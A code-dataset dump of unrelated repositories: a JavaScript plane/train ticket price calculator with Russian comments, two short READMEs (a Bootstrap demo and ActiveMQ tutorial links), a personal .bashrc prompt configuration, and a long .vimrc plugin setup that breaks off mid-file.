distancePrice = distancePrice - distancePrice * this.discountChild / 100;
}
}
return distancePrice;
}
validateBag(bagWeight) {
return bagWeight <= this.maxKg;
}
}
class PlaneTariff extends Tariff {
constructor(options) {
super(options);
this.priceBagPlane = options.priceBagPlane; //стоимость багажа для самолета
}
calcBagPrice(bagWeight) {
let priceBagPlane = 0;
if (this.priceBagPlane != null && bagWeight > this.freeBag) {
priceBagPlane = this.priceBagPlane;
}
return priceBagPlane;
}
}
class TrainTariff extends Tariff {
constructor(options) {
super(options);
this.priceKgBagTrain = options.priceKgBagTrain; //стоимость за кг багажа для поезда
}
calcBagPrice(bagWeight) {
let priceKgBagTrain = 0;
if (this.priceKgBagTrain != null && bagWeight > this.freeBag) {
priceKgBagTrain = this.priceKgBagTrain * (bagWeight - this.freeBag);
}
return priceKgBagTrain;
}
}
const planeTariffs = [];
const trainTariffs = [];
//тариф для самолета
const economPlaneTariff = new PlaneTariff({'type': 'Эконом', 'priceKm': 4, 'maxKg': 20, 'freeBag': 5, 'ageChild': null, 'discountChild': null, 'priceBagPlane': 4000});
const advancedPlaneTariff = new PlaneTariff({'type': 'Продвинутый', 'priceKm': 8, 'maxKg': 50, 'freeBag': 20, 'ageChild': 7, 'discountChild': 30, 'priceBagPlane': 5000});
const premiumPlaneTariff = new PlaneTariff({'type': 'Люкс', 'priceKm': 15, 'maxKg': 50, 'freeBag': null, 'ageChild': 16, 'discountChild': 30, 'priceBagPlane': null});
planeTariffs.push(economPlaneTariff);
planeTariffs.push(advancedPlaneTariff);
planeTariffs.push(premiumPlaneTariff);
//тариф для поезда
const economTrainTariff = new TrainTariff({'type': 'Эконом','priceKm': 0.5, 'maxKg': 50, 'freeBag': 15, 'ageChild': 5, 'discountChild': 50, 'priceKgBagTrain': 50});
const advancedTrainTariff = new TrainTariff({'type': 'Продвинутый', 'priceKm': 2, 'maxKg': 60, 'freeBag': 20, 'ageChild': 8, 'discountChild': 30, 'priceKgBagTrain': 50});
const premiumTrainTariff = new TrainTariff({'type': 'Люкс', 'priceKm': 4, 'maxKg': 60, 'freeBag': null, 'ageChild': 16, 'discountChild': 20, 'priceKgBagTrain': null});
trainTariffs.push(economTrainTariff);
trainTariffs.push(advancedTrainTariff);
trainTariffs.push(premiumTrainTariff);
button.addEventListener('click', () => {
let inputs = document.querySelectorAll('.input');
inputs.forEach(element => {
element.style.border = 'solid 1px #d0cece';
})
const km = document.querySelector('.km').value;
const age = document.querySelector('.age').value;
const bagWeight = document.querySelector('.bag_weight').value;
const output = document.getElementById('output');
if(km === '' || km <= 0 || isNaN(parseFloat(km))) {
document.querySelector('.km').style.border = '1px solid red';
} else if (age === '' || age <= 0 || isNaN(parseFloat(age))) {
document.querySelector('.age').style.border = '1px solid red';
} else if (bagWeight === '' || bagWeight <= 0 || isNaN(parseFloat(bagWeight))) {
document.querySelector('.bag_weight').style.border = '1px solid red';
} else {
let outputTextBegin = `<p>Предложения:</p>
<table>
`;
let textPlane = '';
planeTariffs.forEach(element => {
if (element.validateBag(bagWeight)) {
let outcome = element.calcDistancePrice(km, age) + element.calcBagPrice(bagWeight);
textPlane += `<tr>
<th>${element.type}: ${outcome} ₽</th>
</tr>`;
}
});
if (textPlane != '') {
textPlane = `<tr>
<th class="th"><b>Аэрофлот</b></th>
</tr>` + textPlane;
}
let textTrain = '';
trainTariffs.forEach(element => {
if (element.validateBag(bagWeight)) {
let outcome = element.calcDistancePrice(km, age) + element.calcBagPrice(bagWeight);
textTrain += `<tr>
<th>${element.type}: ${outcome} ₽</th>
</tr>`;
}
});
if (textTrain != '') {
textTrain = `<tr>
<th class="th"><b>РЖД</b></th>
</tr>` + textTrain;
}
if (textPlane != '' || textTrain != '') {
output.style.display = 'block';
output.innerHTML = outputTextBegin + textPlane + textTrain + `</table>`;
}
}
})
|
f64ee393588d8eb67dec37127511e95bf171831d
|
[
"JavaScript"
] | 1 |
JavaScript
|
Dima-lang51/ticketTest
|
f28fbf65e1484984645e72a8d22470cfd0341222
|
fccbf8b7b2db238786e010db01a46866ba150de8
|
refs/heads/master
|
<repo_name>aviboot92/Museum-Of-Candy<file_sep>/README.md
# Museum-Of-Candy
Very good solution for Bootstrap-4 classes, grid system, FlexBox- Utilities
|
25bf7e0ae8c2d2b4c816ddce8e452649a64f9f22
|
[
"Markdown"
] | 1 |
Markdown
|
aviboot92/Museum-Of-Candy
|
546313ee134f7963d28c6f950351851e3422cc3e
|
aba11916c7fe8a068bb54bcac1cf293b401ba22b
|
refs/heads/master
|
<repo_name>sandeeproy18/activemq-demo<file_sep>/README.md
# activemq-demo
https://dzone.com/articles/spring-boot-example-of-spring-integration-and-acti
http://www.devglan.com/spring-boot/spring-boot-jms-activemq-example
http://www.devglan.com/spring-mvc/spring-jms-activemq-integration-example
https://github.com/spring-projects/spring-boot/blob/master/spring-boot-samples/spring-boot-sample-activemq/src/main/java/sample/activemq/Producer.java
https://springframework.guru/spring-boot-example-of-spring-integration-and-activemq/
https://memorynotfound.com/spring-boot-activemq-publish-subscribe-topic-configuration-example/
https://spring.io/guides/gs/messaging-jms/
https://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-messaging.html
|
d4e42d112d5617f9781c89187197daf62e746e6a
|
[
"Markdown"
] | 1 |
Markdown
|
sandeeproy18/activemq-demo
|
7d529401bd31d9063afa30a24696e1ad2110e08c
|
ee007a843bbc974feb68bab3d3f4ce99fc8f7c39
|
refs/heads/master
|
<file_sep># source local file if relevant
test -f ~/.bashrc.local && source ~/.bashrc.local
set_prompt_spe() {
local is_ssh=$1
local is_container=$2
local is_screen=$3
local is_vim=$4
local has_x=$5
local is_user_root=$6
local user=$7
local hostname=$8
local C_NC="\["$(echo -n '\e[0m')"\]" # No Color
local C_BOLD="\["$(echo -n '\e[1m')"\]"
local C_WHITE="\["$(echo -n '\e[1;37m')"\]"
local C_BLACK="\["$(echo -n '\e[0;30m')"\]"
local C_BLUE="\["$(echo -n '\e[0;34m')"\]"
local C_LIGHT_BLUE="\["$(echo -n '\e[1;34m')"\]"
local C_GREEN="\["$(echo -n '\e[0;32m')"\]"
local C_LIGHT_GREEN="\["$(echo -n '\e[1;32m')"\]"
local C_CYAN="\["$(echo -n '\e[0;36m')"\]"
local C_LIGHT_CYAN="\["$(echo -n '\e[1;36m')"\]"
local C_RED="\["$(echo -n '\e[0;31m')"\]"
local C_LIGHT_RED="\["$(echo -n '\e[1;31m')"\]"
local C_PURPLE="\["$(echo -n '\e[0;35m')"\]"
local C_LIGHT_PURPLE="\["$(echo -n '\e[1;35m')"\]"
local C_BROWN="\["$(echo -n '\e[0;33m')"\]"
local C_YELLOW="\["$(echo -n '\e[1;33m')"\]"
local C_GRAY="\["$(echo -n '\e[0;30m')"\]"
local C_LIGHT_GRAY="\["$(echo -n '\e[0;37m')"\]"
local prompt_sfx=
local prompt_symb=
local prompt_hostname=
PS1=
test ${is_vim} -eq 1 && prompt_sfx="${prompt_sfx}${C_LIGHT_RED}v${C_NC}"
test ${is_screen} -eq 1 && prompt_sfx="${prompt_sfx}${C_BROWN}s${C_NC}"
test ${has_x} -eq 1 && prompt_sfx="${prompt_sfx}${C_BROWN}x${C_NC}"
test -n "${prompt_sfx}" && PS1="${PS1}${prompt_sfx}${C_BROWN}|${C_NC}"
if [ ${is_user_root} -eq 1 ]; then
prompt_symb='#'
PS1="${PS1}${C_RED}"
else
prompt_symb='$'
PS1="${PS1}${C_GREEN}"
fi
PS1="${PS1}${user}${C_NC}${C_BROWN}@${C_NC}"
if [ ${is_ssh} -eq 1 -o ${is_container} -eq 1 ]; then
prompt_hostname="${C_LIGHT_CYAN}${hostname}${C_NC}"
else
prompt_hostname="${C_LIGHT_GREEN}${hostname}${C_NC}"
fi
PS1="${PS1}${prompt_hostname}${C_BROWN}"
PS1=${PS1}"(\!):${C_NC}"'$(pwd | sed "s:^${HOME}/\?:~/:" | sed "s:/$::")'"${C_BOLD}${prompt_symb}${C_NC} "
}
# source common file
source ~/.shellrc
# append to the history file, don't overwrite it
shopt -s histappend
# don't put duplicate lines or lines starting with space in the history.
HISTCONTROL=ignorespace:ignoreboth
# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
# Initialize starship prompt
which starship &> /dev/null && eval "$(starship init bash)"
<file_sep>""" Plugin manager (dein.vim)
filetype plugin indent on
syntax enable
if &compatible
set nocompatible " Be iMproved
endif
let s:_session_is_root = system('id -u') == 0
let s:_dein_vim_path = expand('~')."/.vim/plugin_manager/dein.vim"
let s:_plugins_path = expand('~')."/.vim/bundles"
let s:_debug_lsp = v:false
" Helpers
function! s:prefix(str, args) abort
return map(a:args, {_, s -> a:str . s})
endfunction
function! s:suffix(str, args) abort
return map(a:args, {_, s -> s . a:str})
endfunction
" Plugins
function s:install_plugins()
if !isdirectory(s:_dein_vim_path)
echom "Please install the plugins manager first. Use the install.sh script."
exit 1
endif
execute "set runtimepath+=".s:_dein_vim_path
call dein#begin(s:_plugins_path)
if !has('nvim')
call dein#add('roxma/nvim-yarp')
call dein#add('roxma/vim-hug-neovim-rpc')
endif
""" General management
" Let dein manage itself
call dein#add(s:_dein_vim_path)
" Manage dein plugins with commands
call dein#add('haya14busa/dein-command.vim', {
\ 'lazy': v:true,
\ 'on_cmd': 'Dein',
\ })
" Vim buffers session management
call dein#add('xolox/vim-misc', {
\ 'if': !&diff,
\ })
call dein#add('xolox/vim-session', {
\ 'if': !&diff,
\ })
""" Visual mods: display, themes, windows, panes
" Dark theme, standard
call dein#add('sjl/badwolf', {
\ 'if': !&diff,
\ })
" Dark theme with arguably 'better' colors for diff panes
call dein#add('nanotech/jellybeans.vim', {
\ 'if': &diff,
\ })
" Title and Status bar tuning
call dein#add('vim-airline/vim-airline')
call dein#add('vim-airline/vim-airline-themes')
" Highlight trailing whitespaces
call dein#add('ntpeters/vim-better-whitespace')
" Display vim marks in the left margin
call dein#add('kshenoy/vim-signature', {
\ 'if': has('signs'),
\ })
" Add glyphs support for other plugins
call dein#add('ryanoasis/vim-devicons')
" Tag bar (quickly view the classes/functions/vars in a file, and jump there)
call dein#add('majutsushi/tagbar', {
\ 'if': !&diff && executable('ctags'),
\ 'lazy' : v:true,
\ 'on_cmd' : 'TagbarToggle',
\ })
" Indentation vertical visual guides
call dein#add('nathanaelkane/vim-indent-guides', {
\ 'if': !&diff,
\ })
" Utilities for tabs
call dein#add('gcmt/taboo.vim', {
\ 'if': !&diff,
\ })
" Display colors on color names/codes
call dein#add('chrisbra/Colorizer', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_cmd': s:prefix('Color', ['Highlight', 'Toggle']) + ['RGB2Term', ],
\ })
""" Navigation and buffers management
" Quickly view open buffers and switch between them
call dein#add('ctribout/bufexplorer', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_cmd': s:prefix('BufExplorer', ['', 'HorizontalSplit', 'VerticalSplit']),
\ })
" The NERD tree allows to explore the filesystem and to open files and directories
call dein#add('scrooloose/nerdtree', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_cmd': s:prefix('NERDTree', ['', 'Toggle', 'Find', 'Focus']) + ['NERDTreeToggleVCS'],
\ })
" Grep utilities
call dein#add('yegappan/grep', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_cmd': s:prefix('Grep', ['', 'Add', 'Args', 'ArgsAdd', 'Buffer', 'BufferAdd']) + ['Rgrep', 'RgrepAdd', 'Bgrep', 'BgrepAdd', 'Rg', 'RgAdd'],
\ })
" Diff blocks instead of full files
call dein#add('AndrewRadev/linediff.vim', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_cmd': s:prefix('Linediff', ['', 'Add', 'Last', 'Merge', 'Pick', 'Reset', 'Show']),
\ })
""" Editor helpers
" Toggle words (change 'True' to 'False', ...)
call dein#add('vim-scripts/toggle_words.vim', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_cmd': 'ToggleWord',
\ })
" Code comments
call dein#add('tomtom/tcomment_vim', {
\ 'if': !&diff,
\ })
" Highlight the word currently on the cursor
call dein#add('reidHoruff/HiCursorWords')
" Navigate through indent levels
call dein#add('kamou/vim-indentwise', {
\ 'if': !&diff,
\ })
" New text objects based on indentation levels
call dein#add('michaeljsmith/vim-indent-object', {
\ 'if': !&diff,
\ 'on_ft': ['ledger', 'moon', 'nim', 'python'],
\ 'on_map': {'ov': ['aI', 'ai', 'iI', 'ii']},
\ })
" Inner-line text object
call dein#add('vim-utils/vim-line', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_map': {'ov': '_'},
\ })
" Even more text objects
call dein#add('wellle/targets.vim')
""" Git-related plugins
" Better commit message window
call dein#add('rhysd/committia.vim', {
\ 'if': !&diff,
\ })
" Show git diffs while editing (changes/removed/added lines)
call dein#add('airblade/vim-gitgutter', {
\ 'if': !&diff,
\ })
" Git wrapper, for integration with vim-airline (branch and commits in statusbar)
call dein#add('tpope/vim-fugitive', {
\ 'if': !&diff,
\ })
" Git history for the line under the cursor
call dein#add('rhysd/git-messenger.vim', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_cmd' : 'GitMessenger',
\ 'on_map' : '<Plug>(git-messenger',
\ })
""" Syntax or language-specific support
" jinja2 syntax
call dein#add('Glench/Vim-Jinja2-Syntax', {
\ 'if': !&diff,
\ })
" Markdown support
call dein#add('vim-pandoc/vim-pandoc-syntax', {
\ 'if': !&diff,
\ })
" CMake syntax color
call dein#add('pboettch/vim-cmake-syntax', {
\ 'if': !&diff,
\ 'lazy' : v:true,
\ 'on_ft': 'cmake',
\ })
" Rust support
" call dein#add('rust-lang/rust.vim', {
" \ 'if': !&diff,
" \ })
""" LSP (language server protocol)
call dein#add('prabirshrestha/vim-lsp', {
\ 'if': !&diff,
\ })
call dein#add('prabirshrestha/asyncomplete.vim', {
\ 'if': !&diff,
\ })
call dein#add('prabirshrestha/asyncomplete-lsp.vim', {
\ 'if': !&diff,
\ })
" Note: the needed software is installed locally, but they should be installed in
" projects' virtual environments so that they work with their correct project
" configuration files too (vim must be launched in that venv)
call dein#add('mattn/vim-lsp-settings', {
\ 'if': !&diff,
\ })
call dein#end()
" Install missing plugins at startup
if dein#check_install()
call dein#install()
endif
endfunction
if ! s:_session_is_root
" Note that the test should be useless as dein.vim should prevent loading plugins in
" root mode but for the ones with 'trusted' = v:true
call s:install_plugins()
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => General
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Auto indent was needed somehow for dein.vim, but that's a pain (for yaml, python, ...) so disable it
filetype indent off
" 256-colors support
set t_Co=256
" No mouse support!
set mouse=
" Sets how many lines of history VIM has to remember
set history=1000
set undolevels=1000
" Set to auto read when a file is changed from the outside
set autoread
" With a map leader it's possible to do extra key combinations
" like <leader>w saves the current file
let g:mapleader = ","
" Disable modeline feature, not useful and possibly a security risk
set modelines=0
set nomodeline
" " Default copy buffer is the system clipboard
" set clipboard=unnamed
" if has('unnamedplus')
" set clipboard=unnamedplus
" endif
" Add 'jk' combination to exit insert mode
:inoremap jk <esc>
" Force checking for modifications from the outside world
:au CursorHold * if getcmdtype() == '' | checktime | endif
" Hilight columns > 88 chars
if exists("&colorcolumn")
set colorcolumn=88
endif
" Automatically change window's cwd to file's dir
autocmd BufEnter * silent! lcd %:p:h
" set autochdir
" Disable folding when opening files
set foldlevel=99
set foldlevelstart=99
" Disable folding (slows things down a lot sometimes)
set foldmethod=manual
" To be able to "zoom in" a split (actually a new tab, :q to exit it)
:noremap tt :tab split<CR>
" Don't go to SELECT mode instead of VISUAL mode
:behave xterm
" From http://vim.wikia.com/wiki/Search_for_visually_selected_text
" Search for selected text, forwards or backwards.
vnoremap <silent> * :<C-U>
\let old_reg=getreg('"')<Bar>let old_regtype=getregtype('"')<CR>
\gvy/<C-R><C-R>=substitute(
\escape(@", '/\.*$^~['), '\_s\+', '\\_s\\+', 'g')<CR><CR>
\gV:call setreg('"', old_reg, old_regtype)<CR>
vnoremap <silent> # :<C-U>
\let old_reg=getreg('"')<Bar>let old_regtype=getregtype('"')<CR>
\gvy?<C-R><C-R>=substitute(
\escape(@", '?\.*$^~['), '\_s\+', '\\_s\\+', 'g')<CR><CR>
\gV:call setreg('"', old_reg, old_regtype)<CR>
" In visual mode, replace selected text
vnoremap <C-r> "hy:%s@<C-r>h@@gc<left><left><left>
" Screen update (force syntax hilighting sync from start too)
nnoremap <silent> <C-l> :nohlsearch<CR>:setl nolist nospell<CR>:diffupdate<CR>:syntax sync fromstart<CR><C-l>
augroup basic
autocmd!
autocmd BufEnter * syntax sync fromstart
augroup end
if has('nvim')
autocmd TermOpen * startinsert
autocmd TermOpen * setlocal nonumber norelativenumber nospell
tmap <C-w> <C-\><C-N><C-W>
" neovim removed the ":shell" for some reason, so let's create a user command trying
" to mimick it, in a new split. This is still much less useful that the :shell
" command from vim, ie to launch a few commands directly in the folder of the
" current buffer, in a full window, not touching anything in vim like :terminal
" does (it replaces the current buffer and then kills it, thus the need for the
" split first...)
command! Shell split +:terminal
nmap <F10> :Shell<CR>
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => VIM user interface
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Set 7 lines to the cursor - when moving vertically using j/k
set scrolloff=7
" Turn on the WiLd menu
set wildmenu
" Ignore compiled files
set wildignore=*.o,*~,*.pyc
"Always show current position
set ruler
" Height of the command bar
set cmdheight=2
" A buffer becomes hidden when it is abandoned
set hidden
" Configure backspace so it acts as it should act
set backspace=eol,start,indent
set whichwrap+=<,>,[,],h,l
" Ignore case when searching
set ignorecase
" When searching try to be smart about cases
set smartcase
" Don't use two spaces when joining lines
set nojoinspaces
" Highlight search results
set hlsearch
" Stop highlighting search results by pressing CR in normal mode
nnoremap <cr> :noh<CR><CR>:<backspace>
" Don't redraw while executing macros (good performance config)
set lazyredraw
" For regular expressions turn magic on
set magic
" Show matching brackets when text indicator is over them
set showmatch
" How many tenths of a second to blink when matching brackets
set matchtime=2
set noerrorbells
set novisualbell
set t_vb=
" Time in ms for key code sequences
set timeoutlen=500 ttimeoutlen=10
" Show line numbers
set number
" show command in bottom bar (slows down the interface with pg up/down)
set showcmd
" highlight current line
set cursorline
" Default split behaviour
set splitbelow
set splitright
set diffopt+=vertical
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => File types
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
autocmd BufNewFile,BufRead *.ad set filetype=asciidoc
autocmd BufNewFile,BufRead *.adoc set filetype=asciidoc
autocmd BufNewFile,BufRead *.asciidoc set filetype=asciidoc
autocmd FileType make setlocal noexpandtab
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => Colors and Fonts
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Enable syntax highlighting
syntax enable
" Theme
if &diff && dein#is_available('jellybeans.vim')
colorscheme jellybeans
elseif !&diff && dein#is_available('badwolf')
colorscheme badwolf
else
colorscheme slate
endif
" Set utf8 as standard encoding and en_US as the standard language
set encoding=utf8
" Use Unix as the standard file type and don't keep dos/mac ones
set fileformats=unix
if !empty(glob(expand('~')."/.fonts/*Literation*Nerd*")) || !empty(glob(expand('~')."/.local/share/fonts/*Literation*Nerd*"))
let s:airline_powerline_fonts = v:true
set guifont=LiterationMono\ Nerd\ Font\ Book\ 11
else
let s:airline_powerline_fonts = v:false
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => Files, backups and undo
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Turn backup off, since most stuff is in SVN, git et.c anyway...
set nobackup
set nowritebackup
set noswapfile
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => Text, tab and indent related
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Use spaces instead of tabs
set expandtab
" Be smart when using tabs
set smarttab
" 1 tab == 4 spaces
set shiftwidth=4
set tabstop=4
" No automatic linebreak
set nolinebreak
set formatoptions-=t
" Set lines length to 88 when using "gq"
set formatoptions+=q
set comments=s1:/*,mb:*,ex:*/,://,b:#,:%
set textwidth=88
set autoindent
set wrap " Wrap lines for display
" From http://vim.wikia.com/wiki/Indent_text_object
onoremap <silent>ai :<C-u>call IndTxtObj(0)<CR>
onoremap <silent>ii :<C-u>call IndTxtObj(1)<CR>
vnoremap <silent>ai <Esc>:call IndTxtObj(0)<CR><Esc>gv
vnoremap <silent>ii <Esc>:call IndTxtObj(1)<CR><Esc>gv
function! IndTxtObj(inner)
let curcol = col(".")
let curline = line(".")
let lastline = line("$")
let i = indent(line("."))
if getline(".") !~ "^\\s*$"
let p = line(".") - 1
let pp = line(".") - 2
let nextblank = getline(p) =~ "^\\s*$"
let nextnextblank = getline(pp) =~ "^\\s*$"
while p > 0 && ((i == 0 && (!nextblank || (pp > 0 && !nextnextblank))) || (i > 0 && ((indent(p) >= i && !(nextblank && a:inner)) || (nextblank && !a:inner))))
-
let p = line(".") - 1
let pp = line(".") - 2
let nextblank = getline(p) =~ "^\\s*$"
let nextnextblank = getline(pp) =~ "^\\s*$"
endwhile
normal! 0V
call cursor(curline, curcol)
let p = line(".") + 1
let pp = line(".") + 2
let nextblank = getline(p) =~ "^\\s*$"
let nextnextblank = getline(pp) =~ "^\\s*$"
while p <= lastline && ((i == 0 && (!nextblank || pp < lastline && !nextnextblank)) || (i > 0 && ((indent(p) >= i && !(nextblank && a:inner)) || (nextblank && !a:inner))))
+
let p = line(".") + 1
let pp = line(".") + 2
let nextblank = getline(p) =~ "^\\s*$"
let nextnextblank = getline(pp) =~ "^\\s*$"
endwhile
normal! $
endif
endfunction
" Enable syntax highlighting when buffers are displayed in a window through
" :argdo and :bufdo, which disable the Syntax autocmd event to speed up
" processing.
" from https://stackoverflow.com/questions/12485981/syntax-highlighting-is-not-turned-on-in-vim-when-opening-multiple-files-using-ar
augroup EnableSyntaxHighlighting
autocmd! BufWinEnter,WinEnter * nested if exists('syntax_on') && ! exists('b:current_syntax') && ! empty(&l:filetype) && index(split(&eventignore, ','), 'Syntax') == -1 | syntax enable | endif
autocmd! BufRead * if exists('syntax_on') && exists('b:current_syntax') && ! empty(&l:filetype) && index(split(&eventignore, ','), 'Syntax') != -1 | unlet! b:current_syntax | endif
augroup END
""" Plugins setting
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-airline plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-airline')
let g:airline_skip_empty_sections = v:true
let g:airline_section_c = '%<%F' " display full path in middle airline bar, but truncate on the left if too long
"let g:airline_section_x = '' " disable file format info
let g:airline#parts#ffenc#skip_expected_string = 'utf-8[unix]' " Only show unusual encodings
let g:airline_theme = 'light'
if s:airline_powerline_fonts
" unicode symbols
if !exists('g:airline_symbols')
let g:airline_symbols = {}
endif
let g:airline_left_sep = "\uE0B0"
let g:airline_left_alt_sep = "\uE0B1"
let g:airline_right_sep = "\uE0B2"
let g:airline_right_alt_sep = "\uE0B3"
let g:airline_symbols.paste = '▽'
let g:airline_symbols.readonly = ''
let g:airline_symbols.whitespace = 'Ξ'
let g:airline_symbols.linenr = "\uE0A1"
let g:airline_symbols.maxlinenr = ''
let g:airline_symbols.colnr = "\uE0A3"
let g:airline_symbols.branch = '⎇'
let g:airline_symbols.modified = '⚑'
let g:airline_symbols.space = ' '
endif
" Always display status bar
set laststatus=2
" Force command bar height to be 1 (often set otherwise by plugins)
set cmdheight=1
" Extensions
let g:airline#extensions#tabline#enabled = v:true
let g:airline#extensions#tabline#fnamemod = ':t'
let g:airline#extensions#tabline#buffer_min_count = 2
let g:airline#extensions#tabline#overflow_marker = '…'
let g:airline#extensions#tabline#formatter = 'unique_tail_improved'
let g:airline#extensions#taboo#enabled = v:true
let g:airline#extensions#hunks#non_zero_only = v:true
" when set, displays the virtualenv based on VIRTUAL_ENV, even if the poet-v
" specific extension is not installed
let g:airline#extensions#poetv#enabled = v:true
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-better-whitespace plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-better-whitespace')
let g:strip_whitespace_on_save = v:false
highlight ExtraWhitespace ctermbg=160
if has('nvim')
autocmd TermOpen * DisableWhitespace
endif
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => tagbar plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('tagbar')
nmap <F8> :TagbarToggle<CR>
let g:tagbar_autofocus = 1
let g:tagbar_show_linenumbers = 1
let g:airline#extensions#tagbar#enabled = 0
let g:tagbar_type_asciidoc = {
\ 'ctagstype' : 'asciidoc',
\ 'kinds' : [
\ 'h:table of contents',
\ 'a:anchors:1',
\ 't:titles:1',
\ 'n:includes:1',
\ 'i:images:1',
\ 'I:inline images:1'
\ ],
\ 'sort' : 0
\ }
let g:tagbar_type_markdown = {
\ 'ctagstype' : 'markdown',
\ 'kinds' : [
\ 'h:table of contents',
\ ],
\ 'sort' : 0
\ }
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => commitia plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('committia.vim')
" Can trigger issue with vim-fugitive otherwise
let g:committia_open_only_vim_starting = 1
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => git-messenger plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('git-messenger.vim')
nmap <Leader>gm <Plug>(git-messenger)
let g:git_messenger_always_into_popup = v:true
let g:git_messenger_include_diff = 'all'
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => bufexplorer plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('bufexplorer')
let g:_buffers_startup_reloaded = 0
function _sq_bufexplorer_shortcut()
" Display the bufexplorer windows, but reload all buffers at first attempt.
" Necessary because bufexplorer doesn't know about buffers at startup when a
" session was restored via vim-restored, and doesn't display much in that case
if g:_buffers_startup_reloaded == 0
let g:_buffers_startup_reloaded = 1
if exists('g:session_default_name') " only needed if vim-session is used
:bfirst
let l:current = 1
let l:last = bufnr("$")
while l:current <= l:last
if bufexists(l:current)
execute ":buffer ".l:current
endif
let l:current = l:current + 1
endwhile
endif
endif
:BufExplorer
endfunction
nmap <F9> :call _sq_bufexplorer_shortcut()<CR>
let g:bufExplorerFindActive=1
let g:bufExplorerReverseSort=0
let g:bufExplorerShowDirectories=0
let g:bufExplorerShowNoName=0
let g:bufExplorerShowRelativePath=0
let g:bufExplorerShowTabBuffer=0
let g:bufExplorerShowUnlisted=0
let g:bufExplorerSortBy='fullpath'
let g:bufExplorerSplitOutPathName=1
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => gitgutter plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-gitgutter')
let g:gitgutter_sign_priority = 0
let g:gitgutter_sign_added = '+'
let g:gitgutter_sign_modified = '~'
let g:gitgutter_sign_removed = '_'
let g:gitgutter_sign_removed_first_line = '‾'
let g:gitgutter_sign_modified_removed = '~'
highlight GitGutterAdd cterm=bold ctermbg=none ctermfg=119 gui=bold
highlight GitGutterDelete cterm=bold ctermbg=none ctermfg=197 gui=bold
highlight GitGutterChange cterm=bold ctermbg=none ctermfg=227 gui=bold
highlight GitGutterChangeDelete cterm=bold ctermbg=none ctermfg=215 gui=bold
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-session plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-session')
set sessionoptions+=tabpages,globals
set sessionoptions-=help,blank
let g:session_autoload = 'yes'
let g:session_autosave = 'yes'
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => HiCursorWords plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('HiCursorWords')
" Don't hilight unless the cursor doesn't move for 1 second
let g:HiCursorWords_delay = 1000
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-indent-guides plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-indent-guides')
let g:indent_guides_start_level = 2
let g:indent_guides_guide_size = 4
let g:indent_guides_enable_on_vim_startup = 1
let g:indent_guides_auto_colors = 0
" set indent colors: very light (not visible AT ALL on gvim though...)
hi IndentGuidesOdd ctermbg=233
hi IndentGuidesEven ctermbg=234
let g:indent_guides_color_change_percent=100
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-signature plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-signature')
let g:SignaturePurgeConfirmation = 1 " avoid loosing all marks on m<space>
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => toggle_words plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('toggle_words.vim')
nmap <leader>t :ToggleWord<CR>
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => taboo plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('taboo.vim')
let g:taboo_tabline=0
